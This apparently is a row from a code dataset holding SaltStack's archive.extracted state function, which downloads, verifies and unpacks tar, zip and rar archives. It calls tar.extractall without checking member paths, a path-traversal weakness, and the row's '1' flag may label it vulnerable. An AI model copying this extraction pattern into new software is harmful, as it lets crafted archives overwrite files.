            if choice[0] not in (""y"", ""Y""):
                break

        self.cleanup(udfDict=self.udfs)"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              source_hash=None,
              source_hash_name=None,
              source_hash_update=False,
              skip_verify=False,
              password=None,
              options=None,
              list_options=None,
              force=False,
              overwrite=False,
              clean=False,
              user=None,
              group=None,
              if_missing=None,
              keep=False,
              trim_output=False,
              use_cmd_unzip=None,
              extract_perms=True,
              enforce_toplevel=True,
              enforce_ownership_on=None,
              archive_format=None,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0
    .. versionchanged:: 2016.11.0
        This state has been rewritten. Some arguments are new to this release
        and will not be available in the 2016.3 release cycle (and earlier).
        Additionally, the **ZIP Archive Handling** section below applies
        specifically to the 2016.11.0 release (and newer).

    Ensure that an archive is extracted to a specific directory.

    .. important::
        **Changes for 2016.11.0**

        In earlier releases, this state would rely on the ``if_missing``
        argument to determine whether or not the archive needed to be
        extracted. When this argument was not passed, then the state would just
        assume ``if_missing`` is the same as the ``name`` argument (i.e. the
        parent directory into which the archive would be extracted).

        This caused a number of annoyances. One such annoyance was the need to
        know beforehand a path that would result from the extraction of the
        archive, and setting ``if_missing`` to that directory, like so:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www
                - if_missing: /var/www/myapp-16.2.4

        If ``/var/www`` already existed, this would effectively make
        ``if_missing`` a required argument, just to get Salt to extract the
        archive.

        Some users worked around this by adding the top-level directory of the
        archive to the end of the ``name`` argument, and then used ``--strip``
        or ``--strip-components`` to remove that top-level dir when extracting:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www/myapp-16.2.4
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www
                - tar_options: --strip-components=1

        With the rewrite for 2016.11.0, these workarounds are no longer
        necessary. ``if_missing`` is still a supported argument, but it is no
        longer required. The equivalent SLS in 2016.11.0 would be:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        Salt now uses a function called :py:func:`archive.list
        <salt.modules.archive.list>` to get a list of files/directories in the
        archive. Using this information, the state can now check the minion to
        see if any paths are missing, and know whether or not the archive needs
        to be extracted. This makes the ``if_missing`` argument unnecessary in
        most use cases.

    .. important::
        **ZIP Archive Handling**

        *Note: this information applies to 2016.11.0 and later.*

        Salt has two different functions for extracting ZIP archives:

        1. :py:func:`archive.unzip <salt.modules.archive.unzip>`, which uses
           Python's zipfile_ module to extract ZIP files.
        2. :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`, which
           uses the ``unzip`` CLI command to extract ZIP files.

        Salt will prefer the use of :py:func:`archive.cmd_unzip
        <salt.modules.archive.cmd_unzip>` when CLI options are specified (via
        the ``options`` argument), and will otherwise prefer the
        :py:func:`archive.unzip <salt.modules.archive.unzip>` function. Use
        of :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` can be
        forced however by setting the ``use_cmd_unzip`` argument to ``True``.
        By contrast, setting this argument to ``False`` will force usage of
        :py:func:`archive.unzip <salt.modules.archive.unzip>`. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: salt://foo/bar/myapp.zip
                - use_cmd_unzip: True

        When ``use_cmd_unzip`` is omitted, Salt will choose which extraction
        function to use based on the source archive and the arguments passed to
        the state. When in doubt, simply do not set this argument; it is
        provided as a means of overriding the logic Salt uses to decide which
        function to use.

        There are differences in the features available in both extraction
        functions. These are detailed below.

        - *Command-line options* (only supported by :py:func:`archive.cmd_unzip
          <salt.modules.archive.cmd_unzip>`) - When the ``options`` argument is
          used, :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`
          is the only function that can be used to extract the archive.
          Therefore, if ``use_cmd_unzip`` is specified and set to ``False``,
          and ``options`` is also set, the state will not proceed.

        - *Permissions* - Due to an `upstream bug in Python`_, permissions are
          not preserved when the zipfile_ module is used to extract an archive.
          As of the 2016.11.0 release, :py:func:`archive.unzip
          <salt.modules.archive.unzip>` (as well as this state) has an
          ``extract_perms`` argument which, when set to ``True`` (the default),
          will attempt to match the permissions of the extracted
          files/directories to those defined within the archive. To disable
          this functionality and have the state not attempt to preserve the
          permissions from the ZIP archive, set ``extract_perms`` to ``False``:

          .. code-block:: yaml

              /var/www:
                archive.extracted:
                  - source: salt://foo/bar/myapp.zip
                  - extract_perms: False

    .. _`upstream bug in Python`: https://bugs.python.org/issue15795

    name
        Directory into which the archive should be extracted

    source
        Archive to be extracted

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

        .. versionchanged:: 2016.11.0
            If this argument specifies the hash itself, instead of a URI to a
            file containing hashes, the hash type can now be omitted and Salt
            will determine the hash type based on the length of the hash. For
            example, both of the below states are now valid, while before only
            the second one would be:

        .. code-block:: yaml

            foo_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/foo.tar.gz
                - source_hash: 3360db35e682f1c5f9c58aa307de16d41361618c

            bar_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/bar.tar.gz
                - source_hash: sha1=5edb7d584b82ddcbf76e311601f5d4442974aaa5

    source_hash_name
        When ``source_hash`` refers to a hash file, Salt will try to find the
        correct hash by matching the filename part of the ``source`` URI. When
        managing a file with a ``source`` of ``salt://files/foo.tar.gz``, then
        the following line in a hash file would match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    foo.tar.gz

        This line would also match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    ./dir1/foo.tar.gz

        However, sometimes a hash file will include multiple similar paths:

        .. code-block:: text

            37b51d194a7513e45b56f6524f2d51f2    ./dir1/foo.txt
            acbd18db4cc2f85cedef654fccc4a4d8    ./dir2/foo.txt
            73feffa4b7f6bb68e44cf984c85f6e88    ./dir3/foo.txt

        In cases like this, Salt may match the incorrect hash. This argument
        can be used to tell Salt which filename to match, to ensure that the
        correct hash is identified. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: https://mydomain.tld/dir2/foo.tar.gz
                - source_hash: https://mydomain.tld/hashes
                - source_hash_name: ./dir2/foo.tar.gz

        .. note::
            This argument must contain the full filename entry from the
            checksum file, as this argument is meant to disambiguate matches
            for multiple files that have the same basename. So, in the
            example above, simply using ``foo.txt`` would not match.

        .. versionadded:: 2016.11.0

    source_hash_update
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        .. versionadded:: 2016.3.0

    skip_verify : False
        If ``True``, hash verification of remote file sources (``http://``,
        ``https://``, ``ftp://``) will be skipped, and the ``source_hash``
        argument will be ignored.

        .. versionadded:: 2016.3.4

    password
        **For ZIP archives only.** Password used for extraction.

        .. versionadded:: 2016.3.0
        .. versionchanged:: 2016.11.0
          The newly-added :py:func:`archive.is_encrypted
          <salt.modules.archive.is_encrypted>` function will be used to
          determine if the archive is password-protected. If it is, then the
          ``password`` argument will be required for the state to proceed.

    options
        **For tar and zip archives only.**  This option can be used to specify
        a string of additional arguments to pass to the tar/zip command.

        If this argument is not used, then the minion will attempt to use
        Python's native tarfile_/zipfile_ support to extract it. For zip
        archives, this argument is mostly used to overwrite exsiting files with
        ``o``.

        Using this argument means that the ``tar`` or ``unzip`` command will be
        used, which is less platform-independent, so keep this in mind when
        using this option; the CLI options must be valid options for the
        ``tar``/``unzip`` implementation on the minion's OS.

        .. versionadded:: 2016.11.0
            The ``tar_options`` and ``zip_options`` parameters have been
            deprecated in favor of a single argument name.
        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed tar archives no longer require ``J`` to manually be
            set in the ``options``, they are now detected automatically and
            decompressed using the xz_ CLI command and extracted using ``tar
            xvf``. This is a more platform-independent solution, as not all tar
            implementations support the ``J`` argument for extracting archives.

        .. note::
            For tar archives, main operators like ``-x``, ``--extract``,
            ``--get``, ``-c`` and ``-f``/``--file`` should *not* be used here.

    tar_options
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    zip_options
        .. versionadded:: 2016.3.1
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    list_options
        **For tar archives only.** This state uses :py:func:`archive.list
        <salt.modules.archive.list_>` to discover the contents of the source
        archive so that it knows which file paths should exist on the minion if
        the archive has already been extracted. For the vast majority of tar
        archives, :py:func:`archive.list <salt.modules.archive.list_>` ""just
        works"". Archives compressed using gzip, bzip2, and xz/lzma (with the
        help of the xz_ CLI command) are supported automatically. However, for
        archives compressed using other compression types, CLI options must be
        passed to :py:func:`archive.list <salt.modules.archive.list_>`.

        This argument will be passed through to :py:func:`archive.list
        <salt.modules.archive.list_>` as its ``options`` argument, to allow it
        to successfully list the archive's contents. For the vast majority of
        archives, this argument should not need to be used, it should only be
        needed in cases where the state fails with an error stating that the
        archive's contents could not be listed.

        .. versionadded:: 2016.11.0

    force : False
        If a path that should be occupied by a file in the extracted result is
        instead a directory (or vice-versa), the state will fail. Set this
        argument to ``True`` to force these paths to be removed in order to
        allow the archive to be extracted.

        .. warning::
            Use this option *very* carefully.

        .. versionadded:: 2016.11.0

    overwrite : False
        Set this to ``True`` to force the archive to be extracted. This is
        useful for cases where the filenames/directories have not changed, but
        the content of the files have.

        .. versionadded:: 2016.11.1

    clean : False
        Set this to ``True`` to remove any top-level files and recursively
        remove any top-level directory paths before extracting.

        .. note::
            Files will only be cleaned first if extracting the archive is
            deemed necessary, either by paths missing on the minion, or if
            ``overwrite`` is set to ``True``.

        .. versionadded:: 2016.11.1

    user
        The user to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    group
        The group to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This path can be either a directory or a
        file, so this option can also be used to check for a semaphore file and
        conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership enforcement is no longer tied to this argument, it is
            simply checked for existence and extraction will be skipped if
            if is present.

    keep : False
        For ``source`` archives not local to the minion (i.e. from the Salt
        fileserver or a remote source such as ``http(s)`` or ``ftp``), Salt
        will need to download the archive to the minion cache before they can
        be extracted. After extraction, these source archives will be removed
        unless this argument is set to ``True``.

    trim_output : False
        Useful for archives with many files in them. This can either be set to
        ``True`` (in which case only the first 100 files extracted will be
        in the state results), or it can be set to an integer for more exact
        control over the max number of files to include in the state results.

        .. versionadded:: 2016.3.0

    use_cmd_unzip : False
        Set to ``True`` for zip files to force usage of the
        :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` function
        to extract.

        .. versionadded:: 2016.11.0

    extract_perms : True
        **For ZIP archives only.** When using :py:func:`archive.unzip
        <salt.modules.archive.unzip>` to extract ZIP archives, Salt works
        around an `upstream bug in Python`_ to set the permissions on extracted
        files/directories to match those encoded into the ZIP archive. Set this
        argument to ``False`` to skip this workaround.

        .. versionadded:: 2016.11.0

    enforce_toplevel : True
        This option will enforce a single directory at the top level of the
        source archive, to prevent extracting a 'tar-bomb'. Set this argument
        to ``False`` to allow archives with files (or multiple directories) at
        the top level to be extracted.

        .. versionadded:: 2016.11.0

    enforce_ownership_on
        When ``user`` or ``group`` is specified, Salt will default to enforcing
        permissions on the file/directory paths detected by running
        :py:func:`archive.list <salt.modules.archive.list_>` on the source
        archive. Use this argument to specify an alternate directory on which
        ownership should be enforced.

        .. note::
            This path must be within the path specified by the ``name``
            argument.

        .. versionadded:: 2016.11.0

    archive_format
        One of ``tar``, ``zip``, or ``rar``.

        .. versionchanged:: 2016.11.0
            If omitted, the archive format will be guessed based on the value
            of the ``source`` argument.

    .. _tarfile: https://docs.python.org/2/library/tarfile.html
    .. _zipfile: https://docs.python.org/2/library/zipfile.html
    .. _xz: http://tukaani.org/xz/

    **Examples**

    1. tar with lmza (i.e. xz) compression:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6

    2. tar archive with flag for verbose output, and enforcement of user/group
       ownership:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - options: v
               - user: foo
               - group: foo

    3. tar archive, with ``source_hash_update`` set to ``True`` to prevent
       state from attempting extraction unless the ``source_hash`` differs
       from the previous time the archive was extracted:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - source_hash_update: True
    '''
    ret = {'name': name, 'result': False, 'changes': {}, 'comment': ''}

    # Remove pub kwargs as they're irrelevant here.
    kwargs = salt.utils.clean_kwargs(**kwargs)

    if not _path_is_abs(name):
        ret['comment'] = '{0} is not an absolute path'.format(name)
        return ret
    else:
        if not name:
            # Empty name, like None, '' etc.
            ret['comment'] = 'Name of the directory path needs to be specified'
            return ret
        # os.path.isfile() returns False when there is a trailing slash, hence
        # our need for first stripping the slash and then adding it back later.
        # Otherwise, we can't properly check if the extraction location both a)
        # exists and b) is a file.
        #
        # >>> os.path.isfile('/tmp/foo.txt')
        # True
        # >>> os.path.isfile('/tmp/foo.txt/')
        # False
        name = name.rstrip('/')
        if os.path.isfile(name):
            ret['comment'] = '{0} exists and is not a directory'.format(name)
            return ret
        # Add back the slash so that file.makedirs properly creates the
        # destdir if it needs to be created. file.makedirs expects a trailing
        # slash in the directory path.
        name += os.sep
    if not _path_is_abs(if_missing):
        ret['comment'] = 'Value for \'if_missing\' is not an absolute path'
        return ret
    if not _path_is_abs(enforce_ownership_on):
        ret['comment'] = ('Value for \'enforce_ownership_on\' is not an '
                          'absolute path')
        return ret
    else:
        if enforce_ownership_on is not None:
            try:
                not_rel = os.path.relpath(enforce_ownership_on,
                                          name).startswith('..' + os.sep)
            except Exception:
                # A ValueError is raised on Windows when the paths passed to
                # os.path.relpath are not on the same drive letter. Using a
                # generic Exception here to keep other possible exception types
                # from making this state blow up with a traceback.
                not_rel = True
            if not_rel:
                ret['comment'] = (
                    'Value for \'enforce_ownership_on\' must be within {0}'
                    .format(name)
                )
                return ret

    if user or group:
        if salt.utils.is_windows():
            ret['comment'] = \
                'User/group ownership cannot be enforced on Windows minions'
            return ret

        if user:
            uid = __salt__['file.user_to_uid'](user)
            if uid == '':
                ret['comment'] = 'User {0} does not exist'.format(user)
                return ret
        else:
            uid = -1

        if group:
            gid = __salt__['file.group_to_gid'](group)
            if gid == '':
                ret['comment'] = 'Group {0} does not exist'.format(group)
                return ret
        else:
            gid = -1
    else:
        # We should never hit the ownership enforcement code unless user or
        # group was specified, but just in case, set uid/gid to -1 to make the
        # os.chown() a no-op and avoid a NameError.
        uid = gid = -1

    if source_hash_update and not source_hash:
        ret.setdefault('warnings', []).append(
            'The \'source_hash_update\' argument is ignored when '
            '\'source_hash\' is not also specified.'
        )

    try:
        source_match = __salt__['file.source_list'](source,
                                                    source_hash,
                                                    __env__)[0]
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = exc.strerror
        return ret

    urlparsed_source = _urlparse(source_match)
    source_hash_basename = urlparsed_source.path or urlparsed_source.netloc

    source_is_local = urlparsed_source.scheme in ('', 'file')
    if source_is_local:
        # Get rid of ""file://"" from start of source_match
        source_match = urlparsed_source.path
        if not os.path.isfile(source_match):
            ret['comment'] = 'Source file \'{0}\' does not exist'.format(source_match)
            return ret

    valid_archive_formats = ('tar', 'rar', 'zip')
    if not archive_format:
        archive_format = salt.utils.files.guess_archive_type(source_hash_basename)
        if archive_format is None:
            ret['comment'] = (
                'Could not guess archive_format from the value of the '
                '\'source\' argument. Please set this archive_format to one '
                'of the following: {0}'.format(', '.join(valid_archive_formats))
            )
            return ret
    try:
        archive_format = archive_format.lower()
    except AttributeError:
        pass
    if archive_format not in valid_archive_formats:
        ret['comment'] = (
            'Invalid archive_format \'{0}\'. Either set it to a supported '
            'value ({1}) or remove this argument and the archive format will '
            'be guesseed based on file extension.'.format(
                archive_format,
                ', '.join(valid_archive_formats),
            )
        )
        return ret

    tar_options = kwargs.pop('tar_options', None)
    zip_options = kwargs.pop('zip_options', None)
    if tar_options:
        msg = ('The \'tar_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = tar_options
    elif zip_options:
        msg = ('The \'zip_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = zip_options

    if options is not None and not isinstance(options, six.string_types):
        options = str(options)

    strip_components = None
    if options and archive_format == 'tar':
        try:
            strip_components = int(
                re.search(
                    r'''--strip(?:-components)?(?:\s+|=)[""']?(\d+)[""']?''',
                    options
                ).group(1)
            )
        except (AttributeError, ValueError):
            pass

    if archive_format == 'zip':
        if options:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of CLI options in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to True.', name
                )
                use_cmd_unzip = True
            elif not use_cmd_unzip:
                # use_cmd_unzip explicitly disabled
                ret['comment'] = (
                    '\'use_cmd_unzip\' cannot be set to False if CLI options '
                    'are being specified (via the \'options\' argument). '
                    'Either remove \'use_cmd_unzip\', or set it to True.'
                )
                return ret
            if use_cmd_unzip:
                if 'archive.cmd_unzip' not in __salt__:
                    ret['comment'] = (
                        'archive.cmd_unzip function not available, unzip might '
                        'not be installed on minion'
                    )
                    return ret
        if password:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of a password in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to False.', name
                )
                use_cmd_unzip = False
            elif use_cmd_unzip:
                ret.setdefault('warnings', []).append(
                    'Using a password in combination with setting '
                    '\'use_cmd_unzip\' to True is considered insecure. It is '
                    'recommended to remove the \'use_cmd_unzip\' argument (or '
                    'set it to False) and allow Salt to extract the archive '
                    'using Python\'s built-in ZIP file support.'
                )
    else:
        if password:
            ret['comment'] = \
                'The \'password\' argument is only supported for zip archives'
            return ret

    if archive_format == 'rar':
        if 'archive.unrar' not in __salt__:
            ret['comment'] = (
                'archive.unrar function not available, rar/unrar might '
                'not be installed on minion'
            )
            return ret

    supports_options = ('tar', 'zip')
    if options and archive_format not in supports_options:
        ret['comment'] = (
            'The \'options\' argument is only compatible with the following '
            'archive formats: {0}'.format(', '.join(supports_options))
        )
        return ret

    if trim_output and not isinstance(trim_output, (bool, six.integer_types)):
        try:
            # Try to handle cases where trim_output was passed as a
            # string-ified integer.
            trim_output = int(trim_output)
        except TypeError:
            ret['comment'] = (
                'Invalid value for trim_output, must be True/False or an '
                'integer'
            )
            return ret

    if source_is_local:
        cached_source = source_match
    else:
        cached_source = os.path.join(
            __opts__['cachedir'],
            'files',
            __env__,
            re.sub(r'[:/\\]', '_', source_hash_basename),
        )

        if os.path.isdir(cached_source):
            # Prevent a traceback from attempting to read from a directory path
            salt.utils.rm_rf(cached_source)

    if source_hash:
        try:
            source_sum = __salt__['file.get_source_sum']('',
                                                         source,
                                                         source_hash,
                                                         source_hash_name,
                                                         __env__)
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

        if source_hash_update:
            if _compare_checksum(cached_source, source_sum):
                ret['result'] = True
                ret['comment'] = \
                    'Hash {0} has not changed'.format(source_sum['hsum'])
                return ret
    else:
        source_sum = {}

    if not source_is_local and not os.path.isfile(cached_source):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be downloaded to cache'.format(source_match)
            return ret

        log.debug('%s is not in cache, downloading it', source_match)

        file_result = __states__['file.managed'](cached_source,
                                                 source=source_match,
                                                 source_hash=source_hash,
                                                 source_hash_name=source_hash_name,
                                                 makedirs=True,
                                                 skip_verify=skip_verify,
                                                 env=__env__)

        log.debug('file.managed: {0}'.format(file_result))

        # Prevent a traceback if errors prevented the above state from getting
        # off the ground.
        if isinstance(file_result, list):
            try:
                ret['comment'] = '\n'.join(file_result)
            except TypeError:
                ret['comment'] = '\n'.join([str(x) for x in file_result])
            return ret

        # Get actual state result. The state.single return is a single-element
        # dictionary with the state's unique ID at the top level, and its value
        # being the state's return dictionary. next(iter(dict_name)) will give
        # us the value of the first key, so
        # file_result[next(iter(file_result))] will give us the results of the
        # state.single we just ran.
        try:
            file_result = file_result[next(iter(file_result))]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source_match))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source_match))
                return file_result
    else:
        log.debug('Archive %s is already in cache', source_match)

    if source_hash:
        _update_checksum(cached_source, source_sum)

    if archive_format == 'zip' and not password:
        log.debug('Checking %s to see if it is password-protected',
                  source_match)
        # Either use_cmd_unzip was explicitly set to True, or was
        # implicitly enabled by setting the ""options"" argument.
        try:
            encrypted_zip = __salt__['archive.is_encrypted'](
                cached_source,
                clean=False,
                saltenv=__env__)
        except CommandExecutionError:
            # This would happen if archive_format=zip and the source archive is
            # not actually a zip file.
            pass
        else:
            if encrypted_zip:
                ret['comment'] = (
                    'Archive {0} is password-protected, but no password was '
                    'specified. Please set the \'password\' argument.'.format(
                        source_match
                    )
                )
                return ret

    try:
        contents = __salt__['archive.list'](cached_source,
                                            archive_format=archive_format,
                                            options=list_options,
                                            strip_components=strip_components,
                                            clean=False,
                                            verbose=True)
    except CommandExecutionError as exc:
        contents = None
        errors = []
        if not if_missing:
            errors.append('\'if_missing\' must be set')
        if not enforce_ownership_on and (user or group):
            errors.append(
                'Ownership cannot be managed without setting '
                '\'enforce_ownership_on\'.'
            )
        msg = exc.strerror
        if errors:
            msg += '\n\n'
            if archive_format == 'tar':
                msg += (
                    'If the source archive is a tar archive compressed using '
                    'a compression type not natively supported by the tar '
                    'command, then setting the \'list_options\' argument may '
                    'allow the contents to be listed. Otherwise, if Salt is '
                    'unable to determine the files/directories in the '
                    'archive, the following workaround(s) would need to be '
                    'used for this state to proceed'
                )
            else:
                msg += (
                    'The following workarounds must be used for this state to '
                    'proceed'
                )
            msg += (
                ' (assuming the source file is a valid {0} archive):\n'
                .format(archive_format)
            )

            for error in errors:
                msg += '\n- {0}'.format(error)
        ret['comment'] = msg
        return ret

    if enforce_toplevel and contents is not None \
            and (len(contents['top_level_dirs']) > 1
                 or len(contents['top_level_files']) > 0):
        ret['comment'] = ('Archive does not have a single top-level directory. '
                          'To allow this archive to be extracted, set '
                          '\'enforce_toplevel\' to False. To avoid a '
                          '\'{0}-bomb\' it may also be advisable to set a '
                          'top-level directory by adding it to the \'name\' '
                          'value (for example, setting \'name\' to {1} '
                          'instead of {2}).'.format(
                              archive_format,
                              os.path.join(name, 'some_dir'),
                              name,
                          ))
        return ret

    # Check to see if we need to extract the archive. Using os.lstat() in a
    # try/except is considerably faster than using os.path.exists(), and we
    # already need to catch an OSError to cover edge cases where the minion is
    # running as a non-privileged user and is trying to check for the existence
    # of a path to which it does not have permission.
    extraction_needed = overwrite

    try:
        if_missing_path_exists = os.path.exists(if_missing)
    except TypeError:
        if_missing_path_exists = False

    if not if_missing_path_exists:
        if contents is None:
            try:
                os.lstat(if_missing)
                extraction_needed = False
            except OSError as exc:
                if exc.errno == errno.ENOENT:
                    extraction_needed = True
                else:
                    ret['comment'] = (
                        'Failed to check for existence of if_missing path '
                        '({0}): {1}'.format(if_missing, exc.__str__())
                    )
                    return ret
        else:
            incorrect_type = []
            for path_list, func in \
                    ((contents['dirs'], stat.S_ISDIR),
                     (contents['files'], lambda x: not stat.S_ISLNK(x)
                                         and not stat.S_ISDIR(x)),
                     (contents['links'], stat.S_ISLNK)):
                for path in path_list:
                    full_path = os.path.join(name, path)
                    try:
                        path_mode = os.lstat(full_path.rstrip(os.sep)).st_mode
                        if not func(path_mode):
                            incorrect_type.append(path)
                    except OSError as exc:
                        if exc.errno == errno.ENOENT:
                            extraction_needed = True
                        elif exc.errno != errno.ENOTDIR:
                            # In cases where a directory path was occupied by a
                            # file instead, all os.lstat() calls to files within
                            # that dir will raise an ENOTDIR OSError. So we
                            # expect these and will only abort here if the
                            # error code is something else.
                            ret['comment'] = exc.__str__()
                            return ret

            if incorrect_type:
                incorrect_paths = '\n\n' + '\n'.join(
                    ['- {0}'.format(x) for x in incorrect_type]
                )
                ret['comment'] = (
                    'The below paths (relative to {0}) exist, but are the '
                    'incorrect type (file instead of directory, symlink '
                    'instead of file, etc.).'.format(name)
                )
                if __opts__['test'] and clean and contents is not None:
                    ret['result'] = None
                    ret['comment'] += (
                        ' Since the \'clean\' option is enabled, the '
                        'destination paths would be cleared and the '
                        'archive would be extracted.{0}'.format(
                            incorrect_paths
                        )
                    )
                    return ret

                # Skip notices of incorrect types if we're cleaning
                if not (clean and contents is not None):
                    if not force:
                        ret['comment'] += (
                            ' To proceed with extraction, set \'force\' to '
                            'True. Note that this will remove these paths '
                            'before extracting.{0}'.format(incorrect_paths)
                        )
                        return ret
                    else:
                        errors = []
                        for path in incorrect_type:
                            full_path = os.path.join(name, path)
                            try:
                                salt.utils.rm_rf(full_path.rstrip(os.sep))
                                ret['changes'].setdefault(
                                    'removed', []).append(full_path)
                                extraction_needed = True
                            except OSError as exc:
                                if exc.errno != errno.ENOENT:
                                    errors.append(exc.__str__())
                        if errors:
                            msg = (
                                'One or more paths existed by were the incorrect '
                                'type (i.e. file instead of directory or '
                                'vice-versa), but could not be removed. The '
                                'following errors were observed:\n'
                            )
                            for error in errors:
                                msg += '\n- {0}'.format(error)
                            ret['comment'] = msg
                            return ret

    created_destdir = False

    if extraction_needed:
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be extracted to {1}'.format(
                    source_match,
                    name
                )
            if clean and contents is not None:
                ret['comment'] += ', after cleaning destination path(s)'
            return ret

        if clean and contents is not None:
            errors = []
            log.debug('Cleaning archive paths from within %s', name)
            for path in contents['top_level_dirs'] + contents['top_level_files']:
                full_path = os.path.join(name, path)
                try:
                    log.debug('Removing %s', full_path)
                    salt.utils.rm_rf(full_path.rstrip(os.sep))
                    ret['changes'].setdefault(
                        'removed', []).append(full_path)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        errors.append(exc.__str__())

            if errors:
                msg = (
                    'One or more paths could not be cleaned. The following '
                    'errors were observed:\n'
                )
                for error in errors:
                    msg += '\n- {0}'.format(error)
                ret['comment'] = msg
                return ret

        if not os.path.isdir(name):
            __salt__['file.makedirs'](name, user=user)
            created_destdir = True

        log.debug('Extracting {0} to {1}'.format(cached_source, name))
        try:
            if archive_format == 'zip':
                if use_cmd_unzip:
                    try:
                        files = __salt__['archive.cmd_unzip'](
                            cached_source,
                            name,
                            options=options,
                            trim_output=trim_output,
                            password=password,
                            **kwargs)
                    except (CommandExecutionError, CommandNotFoundError) as exc:
                        ret['comment'] = exc.strerror
                        return ret
                else:
                    files = __salt__['archive.unzip'](cached_source,
                                                      name,
                                                      options=options,
                                                      trim_output=trim_output,
                                                      password=password,
                                                      **kwargs)
            elif archive_format == 'rar':
                try:
                    files = __salt__['archive.unrar'](cached_source,
                                                      name,
                                                      trim_output=trim_output,
                                                      **kwargs)
                except (CommandExecutionError, CommandNotFoundError) as exc:
                    ret['comment'] = exc.strerror
                    return ret
            else:
                if options is None:
                    try:
                        with closing(tarfile.open(cached_source, 'r')) as tar:
                            tar.extractall(name)
                            files = tar.getnames()
                    except tarfile.ReadError:
                        if salt.utils.which('xz'):
                            if __salt__['cmd.retcode'](
                                    ['xz', '-l', cached_source],
                                    python_shell=False,
                                    ignore_retcode=True) == 0:
                                # XZ-compressed data
                                log.debug(
                                    'Tar file is XZ-compressed, attempting '
                                    'decompression and extraction using XZ Utils '
                                    'and the tar command'
                                )
                                # Must use python_shell=True here because not
                                # all tar implementations support the -J flag
                                # for decompressing XZ-compressed data. We need
                                # to dump the decompressed data to stdout and
                                # pipe it to tar for extraction.
                                cmd = 'xz --decompress --stdout {0} | tar xvf -'
                                results = __salt__['cmd.run_all'](
                                    cmd.format(_cmd_quote(cached_source)),
                                    cwd=name,
                                    python_shell=True)
                                if results['retcode'] != 0:
                                    if created_destdir:
                                        _cleanup_destdir(name)
                                    ret['result'] = False
                                    ret['changes'] = results
                                    return ret
                                if _is_bsdtar():
                                    files = results['stderr']
                                else:
                                    files = results['stdout']
                            else:
